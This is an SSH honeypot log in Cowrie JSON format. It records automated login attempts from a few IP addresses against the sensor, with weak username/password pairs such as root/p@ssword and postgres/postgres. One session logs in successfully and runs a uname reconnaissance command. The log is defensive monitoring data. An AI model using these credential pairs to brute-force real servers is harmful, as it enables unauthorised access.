{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:10.838500Z","src_ip":"45.153.34.114","session":"4d754b88cbdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:11.173489Z","src_ip":"45.153.34.114","session":"4d754b88cbdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:12.263321Z","src_ip":"45.153.34.114","session":"4d754b88cbdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60032,"dst_ip":"159.203.135.109","dst_port":22,"session":"611ecb4510fe","protocol":"ssh","message":"New connection: 45.153.34.114:60032 (159.203.135.109:22) [session: 611ecb4510fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:18.851941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:18.856857Z","src_ip":"45.153.34.114","session":"611ecb4510fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:18.941994Z","src_ip":"45.153.34.114","session":"611ecb4510fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:19.204998Z","src_ip":"45.153.34.114","session":"611ecb4510fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:20.294212Z","src_ip":"45.153.34.114","session":"611ecb4510fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46956,"dst_ip":"159.203.135.109","dst_port":22,"session":"db729bf37517","protocol":"ssh","message":"New connection: 103.75.199.4:46956 (159.203.135.109:22) [session: db729bf37517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:25.581136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:25.585531Z","src_ip":"103.75.199.4","session":"db729bf37517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:25.676879Z","src_ip":"103.75.199.4","session":"db729bf37517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:25.949906Z","src_ip":"103.75.199.4","session":"db729bf37517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57712,"dst_ip":"159.203.135.109","dst_port":22,"session":"74046f8f312d","protocol":"ssh","message":"New connection: 45.153.34.114:57712 (159.203.135.109:22) [session: 74046f8f312d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:26.879927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:26.884558Z","src_ip":"45.153.34.114","session":"74046f8f312d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:26.971095Z","src_ip":"45.153.34.114","session":"74046f8f312d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:27.043915Z","src_ip":"103.75.199.4","session":"db729bf37517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:27.225555Z","src_ip":"45.153.34.114","session":"74046f8f312d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:28.313352Z","src_ip":"45.153.34.114","session":"74046f8f312d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50056,"dst_ip":"159.203.135.109","dst_port":22,"session":"5029bedf5f38","protocol":"ssh","message":"New connection: 45.153.34.114:50056 (159.203.135.109:22) [session: 5029bedf5f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:34.913502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:34.918645Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:35.002872Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:35.262998Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:35.489556Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:35.493334Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:35.584631Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:35.589687Z","src_ip":"45.153.34.114","session":"5029bedf5f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39288,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7fce6084df4","protocol":"ssh","message":"New connection: 45.153.34.114:39288 (159.203.135.109:22) [session: f7fce6084df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:43.211247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:43.215731Z","src_ip":"45.153.34.114","session":"f7fce6084df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:43.305633Z","src_ip":"45.153.34.114","session":"f7fce6084df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:43.567264Z","src_ip":"45.153.34.114","session":"f7fce6084df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:44.652295Z","src_ip":"45.153.34.114","session":"f7fce6084df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54092,"dst_ip":"159.203.135.109","dst_port":22,"session":"398c856d0229","protocol":"ssh","message":"New connection: 103.75.199.4:54092 (159.203.135.109:22) [session: 398c856d0229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:47.433495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:47.438996Z","src_ip":"103.75.199.4","session":"398c856d0229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:47.529901Z","src_ip":"103.75.199.4","session":"398c856d0229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:47.801606Z","src_ip":"103.75.199.4","session":"398c856d0229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:48.894684Z","src_ip":"103.75.199.4","session":"398c856d0229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49606,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ec8da97f1d","protocol":"ssh","message":"New connection: 45.153.34.114:49606 (159.203.135.109:22) [session: c2ec8da97f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:51.162689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:51.167059Z","src_ip":"45.153.34.114","session":"c2ec8da97f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:51.254038Z","src_ip":"45.153.34.114","session":"c2ec8da97f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:51.634461Z","src_ip":"45.153.34.114","session":"c2ec8da97f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":49758,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c829ac0b0b6","protocol":"ssh","message":"New connection: 80.94.92.182:49758 (10.17.0.5:22) [session: 1c829ac0b0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:52.688588Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:52.719967Z","src_ip":"45.153.34.114","session":"c2ec8da97f1d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:53.037563Z","src_ip":"80.94.92.182","session":"1c829ac0b0b6","protocol":"ssh"}
